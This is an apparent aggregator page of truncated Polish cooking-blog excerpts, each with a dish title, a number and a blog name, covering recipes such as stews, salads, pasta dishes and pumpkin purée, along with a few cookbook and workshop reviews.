Schab z pieczarkami i cebulą 66381

pieczarkami.  Dolewamy około 150 - 200 ml gorącej wody, przykrywamy i dusimy około 35 minut. Po tym czasie mięso będzie miękkie.  W międzyczasie, po około 15 minutach duszenia, sos próbujemy i jeśli zachodzi potrzeba, doprawiamy solą i pieprzem.  Smacznego

Smak mojego domu
ZAPIEKANKA GOŁĄBKOWA 237

śmietanką, przyprawiamy solą i pieprzem i polewamy nimi składniki w naczyniu żaroodpornym. Zakrywamy pokrywką i wkładamy do piekarnika nagrzanego do 200 stopni na 50-60 min. Podajemy z sosem pomidorowym lub ketchupem

Kuchnia MagdaLeny
Smażony ser Halloumi 205

owczego. Jest pyszny a dzięki wysokiej temperaturze topnienia nadaje się do jedzenia nie tylko na zimno ale również grillowany czy smażony. Polecam tą małą przekąskę, ser smażony podany z sosem malinowym jest niesamowity w smaku, kremowy i chrupiący zarazem. Można go również włączyć w skład sałatek. W Grecji smażony jest w specjalnych patelenkach, dość głębokich z dwoma uszkami, zwanych saganaki

Moje Małe Czarowanie
MAKARON RIGATONI Z WŁOSKĄ PANCETTĄ 317

wodę i cukier. Dusić pod przykrywką na małym ogniu przez 15 minut. Po tym czasie dodać oregano, sól i pieprz. Wlać śmietanę i wszystko wymieszać. Dodać makaron. Połączyć z sosem. Zetrzeć na górę ser grano padano

kuchniabellissima.wordpress.com
Placki z cebuli z curry 321

przepis, od razu przypadł mi do gustu – cebula z dodatkiem curry i to w formie smażonych placuszków? To musi być pyszne. I jest :) Placuszki podałam na obiad, z sosem i klopsikami, ale chyba nawet bardziej smakowały mi w towarzystwie chutney mango . Przepis znalazłam na blogu Moje Małe Czarowanie  i tylko nieznacznie dopasowałam go do swoich potrzeb (pominęłam imbir

Trzeci talerz
Cukinia faszerowana kaszą kuskus i kurczakiem z gorgonzolą 193

się rozpuści często mieszając. Kuskus wsypuję do miseczki, dodaję łyżeczkę soli i zalewam wodą. po 2 minutach (gdy lekko napęcznieje, ale w środku będzie jeszcze twardy) dodaję go do sosu serowego, aby wchłonął jego nadmiar.  Doprawiam pieprzem, ziołami prowansalskimi i solą, jeżeli jest potrzeba, na sam koniec dodaję posiekaną natkę pietruszki. Gotowy farsz wkładam do wydrążonych cukinii. Piekę

Cook&Love
obłędne kotleciki curry z tuńczka 203

mojego M, coś co można 'złapać' w locie z lodówki i zatrzymać się na chwilę rozpływając się nad tym cudownym smakiem.  Składniki: - dwie puszki tuńczyka w kawałkach w sosie własnym - 5 niewielkich ziemniaków ugotowanych w mundurkach - 3 duże cebule - sok z połowy cytryny - curry (zużywam zwykle 2/3 opakowania) - sól, szczypta chilli - jajko - 2 łyżki mleka - bułka tarta - olej

Cook&Love
Pieczone warzywa 162

Uwielbiam pieczone warzywa, a Wy? Zachowują cały swój smak, a pieczenie jeszcze go podkręca. Takie danie można zjeść samodzielnie z dodatkiem jogurtu naturalnego, czy sosu balsamicznego. Mogą też posłużyć za dodatek do obiadu. Trochę się trzeba nad nimi namęczyć, ale efekt jest uroczy. Oczywiście przy braku czasu lub cierpliwości możecie je pokroić i po prostu wrzucić do naczynia. Smaku

Cook&Love
Ziemniaczki Hasselback 258

ziół (najlepiej świeżych) i przypraw. Sposób podania także daje wielkie pole do popisu, mogą służyć jako dodatek do obiadu, świetnie sprawdzą się także jako samodzielne danie z dodatkiem ulubionego sosu. Do dzieła! Składniki: - ziemniaki (równe, o podłużnym kształcie,ilość taka, jakiej potrzebujecie) - 2 łyżki masła (na każde 6 ziemniaków) - kilka ząbków czosnku - kilka gałązek rozmarynu - sól himalajska - pieprz czarny Obrane

Cook&Love
greckie inspiracje: sałatka makaronowa z fetą i tuńczykiem 217

dzielę się prywatnym albumem :) I nie moja wina, że między balkonem a górami przebiegały druty telegraficzne :) Składniki (na dwie duże porcje): - 1/2 paczki makaronu 'kokardki' - puszka tuńczyka (kawałki w sosie własnym) - 2 pomidory - oliwki zielone (ilość wg uznania) - 1/2 czerwonej cebuli - 150 g fety - 3 łyżki oliwy z oliwek - bazylia, oregano, pietruszka - sól, pieprz Makaron gotuję al'dente w osolonej

Cook&Love
karkówka zapiekana z ziemniakami i grzybami leśnymi 254

przed samym podaniem usmażyć je na maśle. Ładnie wyglądają na talerzu) i gałązki rozmarynu. Smażę do momentu aż woda z grzybów odparuje i dodaję śmietanę, sól i pieprz.  Sos wykładam na plastry karkówki. Następnie układam pokrojone wcześniej pozostałe ziemniaki. Piekę w piekarniku nagrzanym do 175 stopni, bez przykrycia, ok 2h. Smacznego

Cook&Love
Naleśnikowe szaszłyki 223

sztuk dość ciasno. Patyczki do szaszłyków wbijamy w ułożone naleśniki w odstępie 3 cm. Odcinamy końcówki naleśników z obu stron. Przecinamy nożem wzdłuż między patyczkami. Szaszłyki naleśnikowe podajemy z sosem czosnkowym lub keczupem. Można również podsmażyć na oleju podając na gorąco

kgwjanczewo
DUSZONE PODUDZIA KURCZAKA Z CEBULKĄ I PIECZARKAMI 170

liście laurowe ok 5 sztuk ziela angielskiego 1 łyżeczka czosnku niedźwiedziego  sól,pieprz 1/2 szklanki bulionu ( rosołu)   Marynata:   6 ząbków czosnku 2 łyżeczki majeranku 2 łyżeczki sosu sojowego 1 łyżeczka ostrej papryki 1/2 łyżeczki białego pieprzu szczypta soli Mięso umyć,osuszyć. Przygotować marynatę tj połączyć wszystkie jej składniki,wlać odrobinę oleju by utworzyła się papka i taką

Niespełnione zdolności kulinarne
Polski przewodnik Paleo - recenzja 180

kolejnej części są zupy np bardzo apetycznie wyglądająca zupa po cygańsku, dania mięsne (znalazłam tu 2 pyszne przepisy na mój ulubiony boczuś), bez mięsne apetycznie wyglądający kalafior w sosie pietruszkowym. Znajdziemy także przepisy dla trenujących - przykłady posiłków, które możemy spożywać przed i po wysiłku fizycznym np. koktajle dla odważnych a na końcu legalne desery :). Wszystkie potrawy są opatrzone takimi zdjęciami

Cynamonowe szczęście
Prosta sałatka z czarną quinoą, świeżą kolendrą i ostrą papryczką 167

Porwaną na małe kawałki sałatę i pomidorki koktajlowe wrzucamy  do miski, dodajemy pokrojoną w plasterki i wypestkowaną papryczkę. Posypujemy quinoą i listkami kolendry, a na koniec polewamy wszystko sosem zrobionym ze zmieszanego oleju, soku z limonki soli. Smacznego

Quinoa Raz!
PASTA KANAPKOWA Z ZIELONEGO GROSZKU 134

wyszła wręcz idealna. Koniecznie musicie spróbować :) Do wykonania pasty wykorzystałam groszek konserwowy od  Jamar . Składniki: * 1 puszka groszku konserwowego * 2 jajka ugotowane na twardo * puszka tuńczyka w sosie własnym * łyżeczka majonezu Wykonanie: Jajka ugotować na twardo, oskubać ze skorupek.  Groszek wylać na sitko, tak samo tuńczyka. Następnie wszystko przełożyć do miseczki, dodać majonez

Zrób to smacznie
FIT PIECZONE KOTLECIKI Z KUSKUSEM 225

również do kanapek czy do sałatki. Smacznego.  SKŁADNIKI: 500 g mięsa mielonego z indyka 1 szalotka 3 jajka 1/3 szklanki kuskusu 1/3 szklanki płatków owsianych 3 łyżki sosu sojowego 3 łyżki koncentratu Sól i pieprz Pietruszka suszona 1/3 łyżeczki chilli  PRZYGOTOWANIE: Mięso mielone i pozostałe składniki mieszam dokładnie. Cebulkę obieram a następnie kroję w kostkę. Kaszę kuskus przygotowuję

Gotowanie Patki
Najlepsze pomysły na dodatki do sushi 223

ryba jest właściwie zamrożona i sprawdzana przed podaniem. Aromatyczne dodatki mogą być dodane na górę sushi, aby poprawić zarówno smak, jak i atrakcyjność wizualną. Niektóre typowe opcje obejmują wasabi, sos sojowy i marynowany imbir. Można nawet dodać korzeń lotosu lub czerwoną - ostrą paprykę. Białe nasiona sezamu są również powszechną dekoracją. Istnieje wiele różnych składników, jakich można używać do sushi. Można

Kuchcik gotuje
Zielona sałatka z kurczakiem 191

zimny kroimy. Ugotowany i przestudzony makaron dodajemy do brokuła. Koperek siekamy. Mięso i ogórka kroimy w kostkę. Wszystkie składniki sałatki mieszamy z jogurtem lub majonezem. Przepysznie smakuje też z sosem czosnkowym

Magiczne Życie Marty
Makaron z mascarpone, suszonymi pomidorami i wędzonym kurczakiem 270

mascarpone w połączeniu z wędzonym kurczakiem i suszonymi pomidorami smakuje naprawdę wyśmienicie. Jest to moje danie awaryjne, zawsze kiedy nie mam pomysłu lub czasu na przygotowanie obiadu Do wykonania sosu potrzeba zaledwie kilku składników. ok. 150 g wędzonej piersi kurczaka 250 g sera mascarpone ok. 100 g suszonych pomidorów w oliwie szczypta pieprzu makaron tagliatelle (na 3-4 porcje) olej

Bullio
Makaron z kurczakiem i brokułem w sosie kokosowym 184

mięsa wlać mleczko kokosowe i dodać brokuł obrany w małe różyczki. Gotować do momentu, aż brokuł będzie się rozpadać. Makaron ugotować al dente i połączyć z mięsem i sosem. W małym garnuszku wymieszać odrobinę wody z mąką ziemniaczaną, po czym przelać do potrawy i chwilę podgrzewać, mieszając, aż potrawa nieco zgęstnieje

Passions hobbies life
Patelnie Ernesto - recenzja 301

Jedną z wielu potraw, które robiłam na tej patelni były krewetki z groszkiem, kukurydzą i papryką.  Przepis znajduje się  tu kliknij. Przepis na szparagi w szynce, z sosem musztardowym znajduje się  tu kliknij

W kuchni u Moniki
Gulasz z żołądków drobiowych z pieczarkami (bezglutenowa zasmażka) 174

wsypać mąkę (energicznie mieszając, aby nie powstały grudki). Smażyć do nabrania złotego koloru. Zasmażkę dodać do garnka (mieszając) wraz z majerankiem, papryką i odrobiną gałki muszkatołowej. Gotować - aż sos zgęstnieje. Doprawić do smaku i opcjonalnie posypać posiekaną zieleniną.   (*)  Gulasz można zagęścić samą mąką, ale moim zdaniem z zasmażką zyskuje na smaku. (**) Do zasmażki przeważnie używam mąki pszennej

Di gotuje
Herbata z czystka tureckiego 293

Czytaj więcej » Blog kulinarny pełen przepisów na codzienne posiłki, dania wykwintne, ciasta, torty, babeczki i sosy. Potrawy z ryb i mięs

Ekspansja smaku
10 najlepszych dań na nadchodzące święta 169

Sałatka warstwowa z kurczakiem, fetą i brokułem To najbardziej popularna sałatka na blogu. I słusznie, bo jest bardzo bardzo smaczna. Feta, obsmażony kurczak, brokuł al dente i pyszny sos czosnkowy. Pierwszy raz robiła go moja siostra na chrzciny najmłodszego, od tamtej pory robimy regularnie na różne uroczystości rodzinne. Na święta również ją planuję. Przepis znajdziecie TUTAJ 5. Sałatka z pieczonego

Wilczkowy Świat - nasze codzienne gotowanie
Pappardelle w sosie cytrynowym z suszonymi pomidorami (Pappardelle con salsa al limone e pomodori secchi) 165

skórkę otartą z 2 cytryn i sok z połowy cytryny. Na koniec dodajemy 50 ml wody po ugotowanym makaronie. Makaron odsączamy, po czym przekładamy do miski z przygotowanym sosem. Wszystko dokładnie mieszamy. Makaron dekorujemy bazylią, świeżo zmielonym pieprzem i startym parmezanem. **** PREPARAZIONE Cuocete la pasta al dente. Fate sciogliere il burro. In una ciotola aggiungete il burro sciolto

La grande e la piccola cuoca
PUREE Z DYNI 298

puree z dyni najbardziej moim zdaniem nadaje się dynia Hokkaido, chociaż inne gatunki dyń jadalnych również z powodzeniem wchodzą w grę. Moje puree z dyni wykorzystuję do ciasta, do sosów, zup, past do chleba a nawet dodaję do różnych zapiekanek, klusek i ciast. Zamrażam dynię lub wekuję w słoikach, co jest świetnym rozwiązaniem ułatwiającym codzienne gotowanie, gdy najdzie was chęć

Gotowanie-uk
Naleśniko - Pizza 165

dodajemy odrobinę mąki pszennej. Całość dzielimy na dwie porcje. wylewamy pierwszą na rozgrzana patelnie posmarowana oliwą i pieczemy po kilka minut z każdej strony. Podajemy z ketchupem lub ulubionym sosem

Gotowanie...to proste !
Fasolka po bretońsku 233

smażącego się mięsa. Smażyć aż cebula się zeszkli.   Gdy fasola zacznie powolutku mięknąć dodać do niej usmażone mięso i gotować aż fasola zupełnie zmięknie (jeśli lubimy rzadki sos można w trakcie gotowania dolać jeszcze wody). Pod koniec dodać cały koncentrat, keczup, słodką paprykę, majeranek, sól i pieprz. Gotować jeszcze przez ok. 10 minut. Podawać na ciepło z dodatkiem pieczywa

Simply Food
Karkówka pieczona 184

łyżeczki pieprzu czarnego  1  łyżka soli  1 łyżka warzywka  3 ząbki czosnku  2 cebule  2 łyżki majeranku   2 łyżki sosu teriyaki  Wykonanie   W nasze mięso wcieramy wszystkie wymienione powyżej przyprawy , obrany posiekany czosnek , cebulkę obieram kroję w talarki i dodaję do mięsa . Jak mamy dobrze wklepane przyprawy w mięso

Mój Smak
Sałatka warstwowa gyros kebab jak zrobić? 229

Czytaj więcej » Blog kulinarny pełen przepisów na codzienne posiłki, dania wykwintne, ciasta, torty, babeczki i sosy. Potrawy z ryb i mięs

Ekspansja smaku
Tarta z brokułami, tuńczykiem i grzybami (Torta salata con broccoletti, tonno e funghi) 231

Jesienna tarta z ciasta francuskiego z brokułami, grzybami, dyni ą  i tuńczykiem zapiekana  w aromatycznym sosie jajeczno-serowym z dodatkiem świeżego tymianku to bardzo aromatyczne danie, proste a zarazem szybkie w przygotowaniu.   Smacznego!   **** La torta salata  realizzata con la pasta sfoglia, farcita con i    broccoletti, il tonno, i funghi, la zucca

La grande e la piccola cuoca
TAGLIATELLE Z PULPECIKAMI Z KURCZAKA W SOSIE ŚMIETANOWO-POROWYM 207

makarony i dziś znów znów zapraszam Was na makaronową ucztę! Mam dla Was przepis na fantastycznym makaron ( u mnie wstążki z pełnego ziarna Lubella ) z pulpecikami z kurczaka w sosie śmietanowo – porowym z odrobiną parmezanu. Danie łatwe do zrobienia, szybkie, smaczne a zarazem sycące Idealny na taki jesienny obiad! Koniecznie spróbujcie! SKŁADNIKI: ( 2 porcje ) * makaron wstążki z pełnego ziarna

Ostra na Słodko
Ulubieńcy października 161

kalafiorowych. Bardzo łatwo się je przygotowuję i są przepyszne :) Jak zawsze najpyszniejsze zostawiłam na koniec. W tym miesiącu moim zdecydowanym hitem były dyniowe pankejki owsiane z bitą śmietaną i sosem kasztanowym. Takie połączenie jest dla mnie kwintesencją jesieni i świetnie sprawdza się na śniadanie czy deser.  Pierwszym ulubieńcem kosmetycznym jest szampon Angel Wash marki Kevin Murphy . Dostałam

wegujemy
Polędwiczki w sosie z grzybów leśnych. 181

Grzyby leśne to dobra baza dla wielu potraw. Na dzisiejszy obiad podałam polędwiczki wieprzowe w sosie grzybowym . Wszystkim bardzo smakowało, więc gorąco polecam. SKŁADNIKI: 1 polędwiczka wieprzowa 20 dag. ugotowanych leśnych grzybów 2 cebule szalotki pietruszka zielona masło klarowane przyprawy: sól, pieprz, lubczyk inne wg. gustu MARYNATA: 2 łyżki oliwy z oliwek, szczypta pieprzu grubo mielonego,  szczypta soli

Kuchnia Beaty
PENNE Z PIECZARKAMI I SZALOTKĄ 139

10min co jakis czas dolewam wodę. Nastepnie zdejmuję z palnika i dodaję śmietanę. Międzyczasie gotuję penne jak podane w instrukcji na opakowaniu. Do miski wkladam makaron a następnie dodaję sos. Dokladnie mieszam. Podaje na cieplo. Smacznego

Gotowanie Patki
Pierś kurczaka z pesto bazyliowym i groszkiem 243

Pierś z kurczaka owinięta wędliną drobiową z sosem z bazyliowego pesto i śmietany. Danie jest wyraziste w smaku, dlatego najlepiej podawać je z delikatnymi dodatkami np. z kopytkami lub gnocchi. ok. 400 g mięsa z piersi kurczaka 1 mały słoik pesto bazyliowego (190 g) 150 ml śmietanki 30% 1 szklanka groszku konserwowego kilka plasterków cienko pokrojonej wędliny drobiowej (tyle

Bullio
kurczak pieczony w śmietanie... 262

piec około 55-60 minut, kurczaka wyjąć z wywaru, wywar przelać do garnuszka, wsypać 1 łyżkę mąki, dolać z 2 szklanki wody, rózgą dobrze rozmieszać i zagotować do zagęstnienia sosu, podawac z ziemniakami, ryżem makaronem, pieczywem - kurczak jest aromatyczny, soczysty, kruchy............SMACZNEGO

W Mojej Kuchni Lubię
Sałatka z tuńczykiem ... 195

składniki przekładamy do salaterki i delikatnie ze sobą mieszamy. Kilka łyżek zalewy z tuńczyka czyli oliwy z oliwek doprawiamy do smaku solą, pieprzem a także dodajemy posiekaną natkę pietruszki. Sosem zalewamy sałatkę. Po wierzchu posypujemy pokrojonymi oliwkami. Odstawiamy na kilkanaście minut aby smaki się połączyły. Podajemy.   Smacznego

Radość kipiąca uśmiechem.
WITARIAŃSKIE SPAGHETTI Z CUKINII 133

szczypcie). Wykonanie: Awokado rozgniatamy widelcem, dodajemy oliwę, czosnek przeciśnięty przez praskę, orzechy, przyprawy i wszystko mieszamy. Cukinię obieramy nożykiem Julienne lub przepuszczamy przez spiralizer do warzyw. Mieszamy z sosem z awokado, a następnie dodajemy pokrojoną cebulę i liście rukwi.  Smacznego

Jeść, by żyć w zdrowiu
SPAGHETTI Z CUKINII Z SOSEM POMIDOROWYM (RAW) 164

koperku, 1 łyżka bazylii, 1 łyżeczka oregano, 1/4 łyżeczki soli, 1/2 łyżeczki pieprzu. Wykonanie: Cukinie kroimy na spaghetti przy pomocy nożyka Julienne. Pomidory, oliwę i czosnek blendujemy na gładki sos. Mieszamy z makaronem. dodajemy pokrojoną w półksięzyce cebulę i ewentualnie awokado. Dodajemy przyprawy. Smacznego

Jeść, by żyć w zdrowiu
DOMOWY MAKARON ZE SKIEŁKOWANYCH NASION GRYKI (BEZGLUTENOWY, WEGAŃSKI) 150

tagliatelle, klasyczne spaghetti, itp. Gdy posiadamy już odpowiedni sprzęt, wystarczy namoczyć nasiona, podkiełkować je, wrzucić do wyciskarki i ususzyć makaron. Później to już tylko ugotować i podawać z ulubionym sosem, w zupie lub jedynie z kapką oliwy. Makaron domowej produkcji jest przepyszny, duuuuużo tańszy niż ten sklepowy, a przede wszystkim najzdrowszy i najbardziej lekkostrawny (za sprawą kiełkowania nasion) ze wszystkich

Jeść, by żyć w zdrowiu
PIZZA NA CIEŚCIE ZE SKIEŁKOWANEGO ORKISZU (BEZ DROŻDŻY, TŁUSZCZU) Z DUŻĄ ILOŚCIĄ ZIELONYCH WARZYW 151

łyżeczka oregano, szczypta soli i pieprzu. Wykonanie: Mąkę mieszamy z solą i dodajemy wodę. Wyrabiamy ciasto i wałkujemy na cieniutki placek. Wykładamy na blachę do pieczenia. Ciasto smarujemy sosem pomidorowym (passata z pomidorów + czosnek przeciśnięty przez praskę + bazylia, oregano, sól, pieprz). Wykładamy warzywa: brokuł, cebula, cukinia. Posypujemy oregano. Tak przygotowaną pizzę pieczemy przez 25 minut w temperaturze

Jeść, by żyć w zdrowiu
Więcej niż tylko HEMP paka - Good Foods 227

obniżenie cholesterolu i ciśnienia krwi. Zawierają masę witamin i minerałów (Witaminę E, cynk, wapń, fosfor) oraz sporą ilość białka. Również zaczęłam niedawno używać oleju konopnego. Świetnie nadaje się do sosów sałatkowych na bazie oleju, wody i ziół. Kilka kropel daję również do domowego soku marchewkowego, który codziennie robi mi moja babcia. Syrop z dzikiego bzu jest dla mnie również ogromną

Czarnawisienka
Kuchnia Polska według Karola Okrasy. Wspomnienia z warsztatów kulinarnych Lidl'a 153

podwędzanej polędwicy z salsą z orzeszkami piniowymi opalana sianem pierś z kaczki kotleciki ziemniaczane w trzech wersjach- z grzybami, suszonymi pomidorami i smażonym porem pierś z kaczki z sosem czekoladowym Warsztaty z Lidl'em charakteryzują się miłą atmosferą i profesjonalnym podejściem.  Stół pięknie nakryty polskimi, polnymi kwiatami. Ciepli i uśmiechnięci ludzie. W powietrzu można było wyczuć magiczny zapach cofnięcia

Z Kuchni Do Kuchni
Potrawka orientalna z pak choi 293

Składniki: 1 filet z kurczaka 1 marchewka garść grzybów mun 4-5 brązowych pieczarek 2-3 liście kapusty pak choi 200 g makaronu ryżowego przyprawa orientalna sos sojowy ocet ryżowy suszona trawa cytrynowa … Czytaj dalej Potrawka orientalna z pak choi

czarrna od kuchni
Bosacka po polsku – Katarzyna Bosacka – Recenzja 235

kaszanką i figami. W tym rozdziale także znajdują się Pierogi po Bosacku , czyli popisowa przystawka Kasi, która gości na okładce książki. Nowa wersja tego klasycznego dania zachwyca kolorami, smakami, sosami czy dodatkami. Coś czym zdecydowanie będzie można zadziwić swoich znajomych. Niekoniecznie już tylko ruskie, czy pierogi z kapustą i grzybami powinny stać na naszych stołach. Zupy – Już na początku

Mr. Taste
NA ŚWIĘTEGO MARCINA NAJLEPSZA GĘSINA 186

przygotowuję od razu większą ilość mięsa, smażę w dwóch garach tak, by wystarczyło na co najmniej 2 obiady. Takie mięcho pyszne jest także jako dodatek do sałaty z sosem winegret. Można także przygotować z kawałków mięsa, zalanych tłuszczem smarowidło do chleba. Składniki: - nogi gęsie  (u mnie 6 sporych) - wytrawne białe wino (może być także czerwone, ale wówczas mięso będzie

Smaczne Zdrowe
Warsztaty Kuchni Lidla: kuchnia polska z Karolem Okrasą 196

carpaccio z podwędzanej polędwicy z salsą z orzeszkami piniowymi opalana sianem pierś z kaczki kotleciki ziemniaczane w 2 wersjach: z grzybami i suszonymi pomidorami pierś z kaczki z  sosem czekoladowym Foto Kuchenne wariacje Wraz z Agnieszką z  Talerza pokus , z którą bardzo lubię gotować na warsztatach, bo doskonale się uzupełniamy przy kuchennym blacie, przygotowałyśmy kotleciki z gotowanych

Kulinarne przygody Gatity
sałatka z selera naciowego i rzodkiewki 255

drobne kawałki. Majonez wymieszać z jogurtem, posolić, przyprawić pieprzem (można też dodać ząbek czosnku). W misce układać wszystkie składniki warstwami w dowolnej kolejności tak, żeby były dwie warstwy sosu majonezowego a na samym wierzchu ma być rzodkiewka. Sałatka najlepiej smakuje po 2-3 godzinach, kiedy smaki przejdą

Domowa Cukierenka-Domowa Kuchnia
Kapusta zasmażana sałatka do obiadu 208

Czytaj więcej » Blog kulinarny pełen przepisów na codzienne posiłki, dania wykwintne, ciasta, torty, babeczki i sosy. Potrawy z ryb i mięs

Ekspansja smaku
Kotleciki twarogowe 1340

nich formować kotletów, należy dodać nieco więcej mąki. Smażyć z obu stron na średnim ogniu, na rozgrzanym na patelni oleju. Można podawać z serkiem śmietankowym, ulubioną sałatą lub np. sosem czosnkowym. Ja jednak zjadłam je same, posypane świeżą bazylią Źródło: www.grochemogarnek.pl (przepis nieco zmodyfikowany

Bullio
Boczek gotowany – kuchnia podkarpacka 335

mięso. Może to zająć około godziny, lub dłużej, w zależności od grubości mięsa. Ugotowane mięso wyciągamy z wywaru, studzimy i chłodzimy w lodówce. Wywaru można użyć jako baza do sosu lub zupy, np. grochowej. * informacje o sposobie wędzenia boczku pochodzą z książki „Wędliny domowe, receptury i sposoby wytwarzania” Marka Bubleja. Po więcej PODKARPACKICH przepisów zapraszam TUTAJ

Trzeci talerz
Chrupiąca cebulka onion bhaji 204

chrupiące, aromatyczne i znakomicie nadają się na przystawkę albo na samodzielny posiłek. Robi się je szybko i szybko można cieszyć się znakomitym smakiem. Ulubiona sałatka do nich i koniecznie sos chili, polecam. Chrupiąca cebulka onion bhaji. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Wątróbki drobiowe w sosie winno-morelowym 243

poddusić w garnuszku pod przykryciem  Dodać do moreli musztardę, doprawić do smaku sokiem z cytryny i odrobiną soli, morele rozgnieść w trakcie gotowania Do wątróbek na patelni dodać sos i dusić razem na małym ogniu razem ok. 5 min.                       Można podać z ryżem

Proste Potrawy
Rosół drobiowy 230

smakować. Smak rosołu tworzy oprócz kurczaka, włoszczyzna, liść laurowy, ziele angielskie, pieprz i lubczyk. Taki rosół, jeśli nie zjemy go od razu, jest świetną bazą do różnych zup lub sosów. Dobrze przygotowany rosół powinien być esencjonalny i po wstawieniu do lodówki przybierać postać delikatnej galaretki. Rosół świetnie rozgrzewa i idealnie sprawdza się w jesienne i zimowe dni. Najbardziej pomocny jest

Kuchcik gotuje
Bułki z czosnkiem niedźwiedzim 218

Czytaj więcej » Blog kulinarny pełen przepisów na codzienne posiłki, dania wykwintne, ciasta, torty, babeczki i sosy. Potrawy z ryb i mięs

Ekspansja smaku
Placki ziemniaczane z jarmużem 183

odrobiną oleju. Nakładać po łyżce masy i rozpłaszczyć łyżka formując placka. Smażyć z obu stron na złoty kolor. Osączyć na papierowym ręczniku i podawać. Ja swoje placki podałam z sosem pieczarkowym

Monia miesza i gotuje
Naleśniki z piersią z kurczaka, z sosem majonezowo-czosnkowym 280

czerwona słodka papryka, czerwona ostra papryka, 1 łyżka oleju, 1 świeża czerwona papryka, 5 kawałków suszonych pomidorów, 1/2 szklanki mrożonej kukurydzy, 1 szklanka mrożonego groszku, 200g startego sera żółtego, Sos majonezowo-czosnkowy: 200ml jogurtu naturalnego, 4 czubate łyżki majonezu, 1 czubata łyżka pikantnego ketchupu, 4 ząbki czosnku, sól, pieprz. Przygotowanie

W kuchni u Moniki
Sushi z tykwą 351

Duszona tykwa jest słodka i chrupiąca, smakuje rewelacyjnie🙂 Składniki: 5 arkuszy prasowanych wodorostów nori 250 g ryżu do sushi sos do ryżu: 3,5 łyżki octu ryżowego 1,5 łyżki cukru 0,5 … Czytaj dalej Sushi z tykwą

czarrna od kuchni
Kociołek ranczerski z kurczakiem i fasolą. 274

cebula 4 plastry wędzonego boczku 10 małych pieczarek 1 słodka papryka (w dowolnym kolorze) 1 puszka fasoli (dowolnej, np. pinto) 1 puszka krojonych pomidorów 1 łyżka melasy (lub sosu barbecue) 1 łyżeczka oregano 2 (1+1) łyżeczki płatków chili oliwa sok z 1/2 limonki sól Wyķonanie: Udka kurczaka pokroić na mniejsze kawałki (np. każde na 3). Wymieszać w misce

zadanie-gotowanie
Jak oniżyć cholesterol? Jak oniżyć ciśnienie krwi? Sekret dobrych zestawień pokarmowych. 203

bogate w betakaroten : jak marchew . Jedna marchewna dziennie zmniejszy az o 22% ryzyko wystąpienia chorób krążenia, czerwony pomidor , ze względu na zawarty w nim likofen, który znakomicie chroni serce. Sos pomidorowy, przecier czy koncentrat zawierają go jeszcze więcej. Odpowiednie tłuszcze : Tu ważne miejsce zajmują tłuste ryby . Według danych dzienne spożycie 30-100 g ryb zmniejsza o połowę ryzyko wystąpienia chorób

MODA NA BIO
Deser „coś z niczego??!” i jak moje maliny zapomniały, że idzie zima 262

jest, że zostają nam w lodówce takie resztki, których żal nam wyrzucić, ale nie za bardzo wiemy co z nimi zrobić. Potrzebowałam jakiś czas temu jogurt grecki do sosu, według przepisu powinnam zużyć 500 g tymczasem wystarczyło tylko 200 g i tak oto zostałam z 300 gramami jogurtu, który do niczego mi nie pasował. Do jednego było go za dużo

Relaxtime
Uniwersalne puree (mus) z dyni 212

Takie puree można wykorzystywać w deserach (ciasta, ciasteczka, kremy itp) oraz do wytrawnych potraw, np: jako gotową bazę do kremu z dyni. Świetnie sprawdzi się także we wszelkiego rodzaju sosach i innych dodatkach. Dodatkowym plusem jest również to, że takie puree z powodzeniem można pakować do słoików i pasteryzować (koniecznie!), zatrzymując dyniowe smaki na zimę. Swoimi pomysłami na wykorzystanie dyniowego

Kuchnia w Słońcu Skąpana
Kurczak w warzywach Julienne z syropem miodowo-winnym z granatową marchwią 185

czerwonego półsłodkiego wina            2 łyżki miodu płynnego . Sos przepis : Czerwoną cebulę i marchew Dragon tylko prażymy na patelni ,gdy cebula zacznie się szklić podlewamy spirytusem i podpalamy pozostawiamy na patelni do czasu aż alkohol wyparuje.  Przekładamy do wysokiego kubka  od blendera Następnie dodajemy miód , czerwone wino

Viola cooks with passion
Karp sauté z majerankiem i sosem z borowików 213

plasterki. Cebulę i czosnek obieracie, siekacie i podsmażacie na rozgrzanym maśle. Dodajecie pokrojone borowiki, smażycie dalej. Dolewacie trochę śmietanki i trzymacie na ogniu, od czasu do czasu mieszając, aż sos zgęstnieje. Doprawiacie solą i pieprzem, posypujecie posiekanym lubczykiem. Jeśli macie mrożone borowiki, to przed smażeniem trzeba je rozmrozić i mocno odsączyć. Jeśli są one suszone, to zalewacie je wrzątkiem

GRUBY WAŁEK
Warsztaty Lidl z Karolem Okrasą "Kuchnia Polska" 172

podane jak należy kroić warzywa, jaką mają mieć wielkość.  Karol pokazywał nam jak samumu w domu wędzić potrawy. A wędzić można bez mała wszystko.  Kacze piersi w sosie czekoladowym Wędzona polędwica z jelenia z salsą.  Przepiękne, perfekcyjne podana polędwica.  Serdecznie dziękuję LIDL i uczestnikom za wspaniałą atmosferę na warsztatach

AZgotuj!
Pieczona dynia piżmowa faszerowana pęczotto z pieczarką brunatną 162

cały ten okres nie potrafią mi się znudzić. Jednym z moich ulubionych i zarazem najprostszych sposobów na dynię jest jej zapiekanie z gruboziarnistą solą morską. Do tego robię często sos z tahini i posypuję całość pestkami granatu. Jest to zdecydowanie przepyszne połączenie. Według mnie najsmaczniejsza po pieczeniu jest dynia piżmowa. Już jej angielska nazwa —  butternut squash — kryje w sobie

Food Square
Stripsy w łagodnej panierce a'la KFC 599

stripsy w łagodnej panierce a'la KFC. Stripsy smażone w głębokim tłuszczu podaję z frytkami z piekarnika lub ziemniaczkami z piekarnika  oraz sałatką colesław . I obowiązkowo z jogurtowym sosem czosnkowym .  Czasami trzeba zgrzeszyć :) Składniki marynaty do mięsa: duża pierś z kurczaka (moja ważyła 450 g) 1/2 płaskiej łyżeczki soli 1/4 płaskiej łyżeczki pieprzu 1/2 płaskiej łyżeczki papryki ostrej

Smak mojego domu
Marchewkowo- szpinakowe curry z aromatycznym ryżem 199

żarni z tego zrobię obiad, poza tym w weekend zawsze jest jakieś ciasto i ciasteczka. Przewrotnie moje curry nie zawiera curry, bo dodałam kurkumę do ryżu, w tym daniu sos jest delikatny, słodkawy i kremowy a ryż pikantny. Składniki na 4 porcje: 1 kg marchwi 1 cebula 100 g świeżego szpinaku 1 cukinia łyżeczka suszonego czosnku łyżeczka cukru trzcinowego łyżeczka

greenscarf
Kuchnia Polska według Karola Okrasy – książka Lidla | Warsztaty kulinarne 164

